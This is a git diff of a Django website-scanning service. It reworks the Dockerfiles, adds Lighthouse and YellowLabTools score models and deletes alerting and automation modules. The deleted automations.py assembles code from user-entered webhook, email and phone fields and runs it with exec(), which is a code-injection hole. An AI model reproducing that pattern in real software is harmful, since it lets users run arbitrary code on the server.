diff --git a/.gitignore b/.gitignore index 808f4df3..0d42f566 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ -app/api/scan_tests/testing_stuff.py +app/api/utils/testing_stuff.py app/data* -app/api/scan_tests/__pycache__/tester.cpython-38.pyc +app/api/utils/__pycache__/tester.cpython-38.pyc .DS_Store *__pycache__* db.sqlite3 @@ -14,3 +14,8 @@ env/.env.staging env/.env.dev env/.env.prod env/.env.prod.db +app/static* +Dockerfile.alpine +Dockerfile.dev1 +Dockerfile.dev3 +app/api/migrations/0001_initial.py diff --git a/Dockerfile b/Dockerfile index d4488583..ae7fdda7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,36 +1,47 @@ -FROM python:3.8-alpine - +FROM python:3.9-slim ENV PYTHONUNBUFFERED 1 -COPY ./requirements.txt /requirements.txt # create the app user -RUN addgroup -S app && adduser -S app -G app - -RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN addgroup --system app && adduser --system app -RUN apk add --update --no-cache --virtual .tmp-build-deps \ - gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip -RUN pip install -r /requirements.txt -RUN apk del .tmp-build-deps -RUN apk --no-cache add curl +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip -# installing chromium and chromium-chromedriver -RUN apk add --update --no-cache chromium chromium-chromedriver +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig # installing node and npm -RUN apk add --update nodejs npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts + +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=2048" + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools -# installing lighthouse -RUN npm install -g lighthouse +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium --no-sandbox --version + +# installing requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt + +# setting working dir RUN mkdir /app COPY ./app /app WORKDIR /app -# # chown all the files to the app user -# RUN chown -R app:app /app - -# # change to the app user -# USER app \ No newline at end of file +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/Dockerfile.prod b/Dockerfile.prod index e8a614be..ae7fdda7 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -1,36 +1,47 @@ -FROM python:3.8-alpine - +FROM python:3.9-slim ENV PYTHONUNBUFFERED 1 -COPY ./requirements.txt /requirements.txt # create the app user -RUN addgroup -S app && adduser -S app -G app - -RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN addgroup --system app && adduser --system app -RUN apk add --update --no-cache --virtual .tmp-build-deps \ - gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip -RUN pip install -r /requirements.txt -RUN apk del .tmp-build-deps -RUN apk --no-cache add curl +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip -# installing chromium and chromium-chromedriver -RUN apk add --update --no-cache chromium chromium-chromedriver +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig # installing node and npm -RUN apk add --update nodejs npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts + +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=2048" + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools + -# installing lighthouse -RUN npm install -g lighthouse +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium --no-sandbox --version + +# installing requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt + +# setting working dir RUN mkdir /app COPY ./app /app -RUN rm -rf /app/static; mkdir /app/static WORKDIR /app -# # chown all the files to the app user -# RUN chown -R app /app - -# # change to the app user -# USER app \ No newline at end of file +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md index 838f8ab3..ef26cad6 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,4 +1,4 @@ -Copyright (c) 2021 Scanerr +Copyright (c) 2022 Scanerr Scanerr Commercial Software License Terms diff --git a/README.md b/README.md index b65da111..cc0fe320 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ Copyright © Scanerr 2021 - [Environment](#environment) - [Local](#local) - [Remote](#remote) + - [Scripts](#scripts)   @@ -29,13 +30,17 @@ Copyright © Scanerr 2021 ## Environment -Prior to running locally, configure all env's located in the /env directory. **For remote deployment, create all .env's in the deployed environment. Never store actual .env's in a repo.** Things to change: -- email addresses -- passwords -- usernames -- allowed hosts -- external API services and keys -- domain names (server and client) +Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files. **Never store actual .env's in a repo.** Things to change: +- high level django configs +- admin credentials +- email credentials +- database configs +- google API keys +- stripe keys +- OAuth keys +- twilio credentials +- slack credentials +- s3 remote storage credentials   @@ -52,15 +57,15 @@ $ pip3 install virtualenv $ virtualenv appenv $ source appenv/bin/activate $ mkdir app -$ git clone https://github.com/Scanerr-io/api-test.git +$ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell -$ docker-compose up --build +$ docker compose up --build ``` *Spin-down the application* ```shell -$ docker-compose up down +$ docker compose up down ```   @@ -102,4 +107,18 @@ $ docker-compose -f docker-compose.prod.yml down *Spin-down the application and removes the volumes* ```shell $ docker-compose -f docker-compose.prod.yml down -v -``` \ No newline at end of file +``` + + +  + +--- + +  + +## Scripts + +*ssh into container* +``` shell +$ docker exec -it /bin/sh +``` diff --git a/app/api/admin.py b/app/api/admin.py index 4d664019..0d586239 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -1,8 +1,7 @@ from django.contrib import admin -from .models import ( - Site, Test, Scan, Account, - Card, Log, Schedule, Automation -) +from .models import * +from datetime import datetime + @admin.register(Site) class SiteAdmin(admin.ModelAdmin): @@ -11,13 +10,19 @@ class SiteAdmin(admin.ModelAdmin): @admin.register(Test) class TestAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'type') + list_display = ('id', 'site', 'time_created', 'time_completed', 'type') search_fields = ('site',) @admin.register(Scan) class ScanAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created') + list_display = ('id', 'site', 'time_created', 'time_completed') search_fields = ('site',) + actions = ['mark_as_completed',] + + def mark_as_completed(self, request, queryset): + queryset.update(time_completed=datetime.now()) + + @admin.register(Account) class AccountAdmin(admin.ModelAdmin): @@ -29,6 +34,10 @@ class CardAdmin(admin.ModelAdmin): list_display = ('__str__', 'brand', 'last_four') search_fields = ('last_four',) +@admin.register(Report) +class ReportAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'user') + @admin.register(Log) class LogAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index 7e9797b3..e9bcecc7 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -1,18 +1,37 @@ from django.core.management.base import BaseCommand +from rest_framework.authtoken.models import Token from django.contrib.auth.models import User +from ...models import Account +from ...utils.verify import verify import os class Command(BaseCommand): def handle(self, *args, **options): + username = os.environ.get('ADMIN_USER') + email = os.environ.get('ADMIN_EMAIL') + password = os.environ.get('ADMIN_PASS') if User.objects.filter(is_superuser=True).count() == 0: - username = os.environ.get('ADMIN_USER') - email = os.environ.get('ADMIN_EMAIL') - password = os.environ.get('ADMIN_PASS') - print('Creating account for %s (%s)' % (username, email)) + print('Creating Admin User for %s (%s)' % (username, email)) admin = User.objects.create_superuser(email=email, username=username, password=password) admin.is_active = True admin.is_superuser = True admin.save() else: - print('Admin accounts can only be initialized if no Accounts exist') \ No newline at end of file + print('Admin Users can only be initialized if no Admin User exist') + + user = User.objects.get(username=username) + if not Account.objects.filter(user=user).exists(): + print('Funding account for %s' % (username)) + Account.objects.create( + user=user, + active=True, + type='enterprise', + max_sites=10000, + ) + else: + print('Accounts can only be initialized if no Accounts exist') + + if not Token.objects.filter(user=user).exists(): + Token.objects.create(user=user) + verify() \ No newline at end of file diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py new file mode 100644 index 00000000..c85d2705 --- /dev/null +++ b/app/api/management/commands/driver_p_test.py @@ -0,0 +1,14 @@ +from ...utils.driver_p import driver_test +from django.core.management.base import BaseCommand +import asyncio + +# testing puppeteer, pyppeteer, and chromium installation and configs + +class Command(BaseCommand): + + def handle(self, *args, **options): + asyncio.run(driver_test()) + + + + diff --git a/app/api/management/commands/driver_s_test.py b/app/api/management/commands/driver_s_test.py new file mode 100644 index 00000000..3ae6438a --- /dev/null +++ b/app/api/management/commands/driver_s_test.py @@ -0,0 +1,11 @@ +from ...utils.driver_s import driver_test +from django.core.management.base import BaseCommand + +# testing selenium, chromedriver, and chromium installation and configs + +class Command(BaseCommand): + + def handle(self, *args, **options): + driver_test() + + diff --git a/app/api/management/commands/driver_test.py b/app/api/management/commands/driver_test.py deleted file mode 100644 index 02761f61..00000000 --- a/app/api/management/commands/driver_test.py +++ /dev/null @@ -1,28 +0,0 @@ -from ...scan_tests.driver_init import driver_init -from django.core.management.base import BaseCommand -from selenium import webdriver -from selenium.webdriver.chrome.options import Options -import time, os, sys - -# testing selenium, chromedriver, and chromium installation and configs - -class Command(BaseCommand): - - def handle(self, *args, **options): - try: - driver = driver_init() - driver.get('https://google.com') - title = driver.title - if title == 'Google': - status = 'Success' - else: - status = 'Failed' - except: - status = 'Failed' - title = 'NO TITLE RETURNED' - - sys.stdout.write('Test results --> ' + status +'\n' - + 'Returned title was --> ' + title +'\n' - ) - sys.exit(0) - diff --git a/app/api/models.py b/app/api/models.py index 1e59c360..d13d9863 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -11,51 +11,138 @@ def get_info_default(): info_default = { 'latest_scan': { - 'id': '', - 'time_created': '', + 'id': None, + 'time_created': None, + 'time_completed': None, }, 'latest_test': { - 'id': '', - 'time_created': '', - 'score': '' + 'id': None, + 'time_created': None, + 'time_completed': None, + 'score': None }, 'lighthouse': { - 'average': '', - 'seo': '', - 'performance': '', - 'accessibility': '', - 'best_practices': '', + 'average': None, + 'seo': None, + 'pwa': None, + 'crux': None, + 'performance': None, + 'accessibility': None, + 'best_practices': None, + }, + 'yellowlab': { + 'globalScore': None, + 'pageWeight': None, + 'requests': None, + 'domComplexity': None, + 'javascriptComplexity': None, + 'badJavascript': None, + 'jQuery': None, + 'cssComplexity': None, + 'badCSS': None, + 'fonts': None, + 'serverConfig': None, }, 'status': { - 'ping': '', - 'health': '', + 'health': None, 'badge': 'neutral', + 'score': None, }, } return info_default -def get_scores_delta_default(): - scores_delta_default = { - "seo_delta": None, - "current_average": None, - "performance_delta": None, - "accessibility_delta": None, - "best_practices_delta": None +def get_lh_delta_default(): + lh_delta_default = { + "scores": { + "seo_delta": None, + "performance_delta": None, + "accessibility_delta": None, + "best-practices_delta": None, + "pwa_delta": None, + "crux_delta": None, + "average_delta" : None, + "current_average": None, + }, } - return scores_delta_default - - - -def get_audits_default(): - audits_default = { - "seo": [], - "performance": [], - "accessibility": [], - "best-practices": [] + return lh_delta_default + + + +def get_yl_delta_default(): + yl_delta_default = { + "scores": { + "average_delta": None, + "pageWeight_delta": None, + "requests_delta": None, + "domComplexity_delta": None, + "javascriptComplexity_delta": None, + "badJavascript_delta": None, + "jQuery_delta": None, + "cssComplexity_delta": None, + "badCSS_delta": None, + "fonts_delta": None, + "serverConfig_delta": None, + }, + } + return yl_delta_default + + + +def get_lh_default(): + lh_default = { + "scores": { + "seo": None, + "performance": None, + "accessibility": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + }, + "audits": { + "seo": [], + "performance": [], + "accessibility": [], + "best-practices": [], + "pwa": [], + "crux": [] + }, + } + return lh_default + + + +def get_yl_default(): + yl_default = { + "scores": { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + }, + "audits": { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + }, } - return audits_default + return yl_default @@ -73,6 +160,7 @@ def get_expressions_default(): return expressions_default + def get_actions_default(): actions_default = { 'list': [ @@ -89,6 +177,7 @@ def get_actions_default(): return actions_default + def get_slack_default(): slack_default = { "slack_name": None, @@ -101,6 +190,12 @@ def get_slack_default(): return slack_default +def get_tags_default(): + tags_default = None, + return tags_default + + + class Site(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) @@ -108,6 +203,7 @@ class Site(models.Model): time_created = models.DateTimeField(default=timezone.now, serialize=True) user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): return f'{self.site_url}' @@ -117,15 +213,19 @@ def __str__(self): class Scan(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) - paired_scan = models.ForeignKey('self', on_delete=models.CASCADE, serialize=True, null=True, blank=True) + paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(serialize=True, null=True, blank=True) html = models.TextField(serialize=True, null=True, blank=True) logs = models.JSONField(serialize=True, null=True, blank=True) - scores = models.JSONField(serialize=True, null=True, blank=True) - audits = models.JSONField(serialize=True, null=True, blank=True, default=get_audits_default) + images = models.JSONField(serialize=True, null=True, blank=True) + lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default) + yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default) + configs = models.JSONField(serialize=True, null=True, blank=True) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): - return f'{self.site.site_url}__scan' + return f'{self.id}__scan' @@ -134,16 +234,19 @@ class Test(models.Model): site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # (1) html (2) error_logs TODO decide on this attr - pre_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='pre_scan') - post_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='post_scan') + type = models.JSONField(serialize=True, null=True, blank=True) + pre_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='pre_scan') + post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan') score = models.FloatField(serialize=True, null=True, blank=True) html_delta = models.JSONField(serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) - scores_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_delta_default) + lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default) + yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default) + images_delta = models.JSONField(serialize=True, null=True, blank=True) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): - return f'{self.site.site_url}__test' + return f'{self.id}__test' @@ -198,6 +301,7 @@ class Schedule(models.Model): crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True) + extras = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return f'{self.site.site_url}__{self.task_type}' @@ -216,6 +320,22 @@ class Automation(models.Model): def __str__(self): return f'{self.name}' + + + + + +class Report(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + path = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab, crux] + info = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.site.site_url}__report' diff --git a/app/api/scan_tests/alerts.py b/app/api/scan_tests/alerts.py deleted file mode 100644 index 2d6288f9..00000000 --- a/app/api/scan_tests/alerts.py +++ /dev/null @@ -1,329 +0,0 @@ -from django.core.mail import send_mail, send_mass_mail -from django.contrib.auth.models import User -from django.template.loader import render_to_string -from datetime import date -import os, operator, json, requests, uuid -from django.utils.html import strip_tags -from django.contrib.auth.models import User -from rest_framework.response import Response -from ..models import (Schedule, Automation, Test, Scan, Site, Account) -from twilio.rest import Client -from slack_sdk.web import WebClient -from slack_sdk.errors import SlackApiError - - - - - -def automation_email(email=None, automation_id=None, scan_or_test_id=None): - if email and automation_id: - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ('\t'+''.join(exp_list)) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - subject = f'Alert for {site.site_url}' - title = f'Alert for {site.site_url}' - pre_header = f'Alert for {site.site_url}' - pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n' - ) - content = ( - f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' - ) - subject = subject - context = { - 'title' : title, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'exp_list': exp_list, - 'object_url' : object_url, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'button_text' : 'View Site Dashboard', - 'content' : content, - 'signature' : '- Cheers!', - } - - html_message = render_to_string('api/automation_email.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [email], - html_message = html_message, - fail_silently = True, - ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - - - - -def automation_webhook( - request_type=None, - request_url=None, - request_data=None, - automation_id=None, - scan_or_test_id=None, - ): - if request_type and automation_id and request_url and request_data and scan_or_test_id: - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - json_data = json.loads(request_data) - get_list = ['?',] - - for key in json_data: - if 'test_score' == json_data[key]: - json_data[key] = item.score - elif 'current_average' == json_data[key]: - json_data[key] = item.scores_delta["current_average"] - elif 'seo_delta' == json_data[key]: - json_data[key] = item.scores_delta["seo_delta"] - elif 'best_practices_delta' == json_data[key]: - json_data[key] = item.scores_delta["best_practices_delta"] - elif 'performance_delta' == json_data[key]: - json_data[key] = item.scores_delta["performance_delta"] - elif 'logs' == json_data[key]: - json_data[key] = len(item.logs) - elif 'health' == json_data[key]: - json_data[key] = item.scores["average"] - - get_list.append(f'{key}={json_data[key]}&') - - get_params = ''.join(get_list) - - try: - if request_type == 'POST': - request = requests.post(request_url, data=json_data) - elif request_data == 'GET': - request = requests.get(request_url, params=json_data) - - except: - data = {'success': False} - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - -def automation_phone(phone_number=None, automation_id=None, scan_or_test_id=None): - if phone_number and automation_id and scan_or_test_id: - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = '# Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ''.join(exp_list) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n\n\t{exp_str}\n' - ) - content = ( - f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' - ) - - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - - account_sid = os.environ.get("TWILIO_SID") - auth_token = os.environ.get("TWILIO_AUTH_TOKEN") - client = Client(account_sid, auth_token) - - message = client.messages.create( - to=phone_number, - from_=os.environ.get('TWILIO_NUMBER'), - body=body - ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - -def automation_slack(automation_id=None, scan_or_test_id=None): - if automation_id and scan_or_test_id: - automation = Automation.objects.get(id=automation_id) - account = Account.objects.get(user=automation.user) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = '# Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ''.join(exp_list) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' - f'Below are the current stats:\n\n\t{exp_str}\n' - ) - content = ( - f'This message was triggered by an automation you created. ' - f'You can change the automation and schedule in your site\'s dashboard. ' - ) - - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - - token = account.slack['bot_access_token'] - channel = account.slack['slack_channel_id'] - - client = WebClient(token=token) - try: - response = client.chat_postMessage( - channel=channel, - text=(body), - block=[ - { - "type": "section", - "text": { - "type": "mrkdwn", - "text": body, - - } - } - ] - ) - except SlackApiError as e: - assert e.response["error"] - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data \ No newline at end of file diff --git a/app/api/scan_tests/automations.py b/app/api/scan_tests/automations.py deleted file mode 100644 index 6ab60fde..00000000 --- a/app/api/scan_tests/automations.py +++ /dev/null @@ -1,110 +0,0 @@ -from ..models import ( - Automation, Test, Scan, Site, User, - ) -from .alerts import ( - automation_email, automation_webhook, - automation_phone, automation_slack, - ) -import re, uuid - - - - -def automation(automation_id, scan_or_test_id): - automation = Automation.objects.get(id=automation_id) - expressions = automation.expressions - exp_list = [] - actions = automation.actions - act_list = [] - - try: - scan = Scan.objects.get(id=scan_or_test_id) - except: - try: - test = Test.objects.get(id=scan_or_test_id) - except: - return False - - - for expression in expressions: - if '>=' in expression['operator']: - operator = ' >= ' - else: - operator = ' <= ' - - if 'and' in expression['joiner']: - joiner = ' and ' - elif 'or' in expression['joiner']: - joiner = ' or ' - else: - joiner = '' - - if 'test_score' in expression['data_type']: - data_type = 'float(test.score)' - elif 'current_average' in expression['data_type']: - data_type = 'float(test.scores_delta["current_average"])' - elif 'seo_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["seo_delta"])' - elif 'best_practices_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["best_practices_delta"])' - elif 'performance_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["performance_delta"])' - elif 'logs' in expression['data_type']: - data_type = 'len(scan.logs)' - elif 'health' in expression['data_type']: - data_type = 'float(scan.scores["average"])' - - value = str(float(re.search(r'\d+', str(expression['value'])).group())) - exp = f'{joiner}{data_type}{operator}{value}' - exp_list.append(exp) - - - for action in actions: - - if 'slack' in action['action_type']: - action_type = f"\n print('sending slack alert')\ - \n automation_slack(automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - if 'webhook' in action['action_type']: - action_type = f"\n print('sending webhook alert')\ - \n automation_webhook(request_type='{action['request']}', \ - request_url='{action['url']}', request_data='{action['json']}', \ - automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - if 'email' in action['action_type']: - action_type = f"\n print('sending email alert')\ - \n automation_email(email='{action['email']}',\ - automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - if 'phone' in action['action_type']: - action_type = f"\n print('sending phone alert')\ - \n automation_phone(phone_number='{action['phone']}', \ - automation_id='{str(automation.id)}', \ - scan_or_test_id='{str(scan_or_test_id)}')" - - act = f'{action_type}' - act_list.append(act) - - - exp_string = ' '.join(exp_list) - act_string = ''.join(act_list) - - automation_logic = f'if {exp_string}:{act_string}' - exec(automation_logic) - - return True - - - - - - - - - - - - \ No newline at end of file diff --git a/app/api/scan_tests/custom-config.js b/app/api/scan_tests/custom-config.js deleted file mode 100644 index ce50e2cb..00000000 --- a/app/api/scan_tests/custom-config.js +++ /dev/null @@ -1,11 +0,0 @@ -// custom configurations for Lighthouse CLI - -module.exports = { - extends: 'lighthouse:default', - settings: { - skipAudits: [ - "full-page-screenshot", - ], - }, - }; - diff --git a/app/api/scan_tests/driver_init.py b/app/api/scan_tests/driver_init.py deleted file mode 100644 index 7f2d38f3..00000000 --- a/app/api/scan_tests/driver_init.py +++ /dev/null @@ -1,35 +0,0 @@ -from selenium import webdriver -from selenium.webdriver.chrome.options import Options -import time, os - - - -def driver_init(): - - prefs = { - 'download.prompt_for_download': False, - 'download.extensions_to_open': '.zip', - 'safebrowsing.enabled': True - } - chrome_path = os.environ.get('CHROMEDRIVER') - WINDOW_SIZE = "1920,1080" - options = webdriver.ChromeOptions() - options.add_experimental_option('prefs',prefs) - options.add_argument("start-maximized") - options.add_argument("--headless") - options.add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) - options.add_argument('--no-sandbox') - options.add_argument('--disable-dev-shm-usage') - options.add_argument("--disable-extensions") - options.add_argument("--window-size=%s" % WINDOW_SIZE) - options.add_argument("--safebrowsing-disable-download-protection") - options.add_argument("safebrowsing-disable-extension-blacklist") - options.add_argument("--disable-gpu") - - driver = webdriver.Chrome(executable_path=chrome_path, options=options) - 